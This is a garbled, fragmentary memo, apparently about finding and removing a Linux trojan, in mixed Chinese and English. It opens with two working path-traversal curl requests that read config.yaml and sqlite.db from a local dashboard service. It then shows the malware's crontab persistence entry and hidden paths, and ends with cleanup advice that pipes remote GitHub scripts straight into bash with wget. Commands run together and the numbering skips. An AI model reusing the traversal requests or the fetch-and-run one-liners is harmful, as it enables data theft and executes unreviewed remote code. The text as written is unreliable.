curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard../data/config.yaml'curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard../data/sqlite.db'



crontab -l
* * * * * pgrep -x .kworker_u8 > /dev/null || /dev/shm/.kworker_u8 > /dev/null 2>&1 &
2、有隐藏文件
/tmp/.font-unix/3、有进程

5、文件释放

手动卸载命令:
crontab -rpkill -9 -x .kworker_u8rm -f /dev/shm/.kworker_u8rm -rf /tmp/.font-unix/rm -f /tmp/c78a*
wget -qO- https://raw.githubusercontent.com/52lkj/clean_trojan/master/clean_trojan.sh | bashwget -qO- https://raw.githubusercontent.com/52lkj/clean_trojan/master/onekey_clean.sh | bash
夜雨聆风